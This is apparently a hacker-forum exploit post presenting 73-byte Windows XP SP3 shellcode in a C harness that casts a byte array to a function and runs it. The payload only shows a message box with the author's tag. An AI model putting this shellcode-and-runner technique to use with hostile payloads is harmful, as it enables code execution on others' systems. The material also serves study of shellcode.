#(+)Exploit Title: Windows 32 bit/xp-Sp3 MessageBox ShellCode 73 Bytes #(+)Author : ^Xecuti0N3r #(+)Tested On : WIN32-XP Sp3 #(+) Date : 20.04.2011 #(+) Hour : 13:37 #(+) Proof : http://k.min.us/jkMNiM.jpg __________________________________________________________________________________________________________________ #include #include #include char code[] = "\x68\x6e\x33\x72\x00\x68\x75\x74" "\x69\x30\x68\x5e\x58\x65\x63\x89" "\xe3\x68\x20\x20\x20\x00\x68\x68" "\x65\x72\x65\x68\x77\x61\x73\x20" "\x68\x6e\x33\x72\x20\x68\x75\x74" "\x69\x30\x68\x5e\x58\x65\x63\x89" "\xe1\x31\xc0\x50\x53\x51\x50\x50" "\xbe\xea\x07\x45\x7e\xff\xe6\x31" "\xc0\x50\xb8\x12\xcb\x81\x7c\xff" "\xe0"; // ^Xecuti0n3r Says LOL in the messagebox ;) int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); } __________________________________________________________________________________________________________________ (+)Exploit Coded by: ^Xecuti0N3r (+)^Xecuti0N3r: E-mail : xecuti0n3r@yahoo.com (+)Special Thanks to: MaxCaps, d3M0l!tioN3r & aNnIh!LatioN3r ########################################################################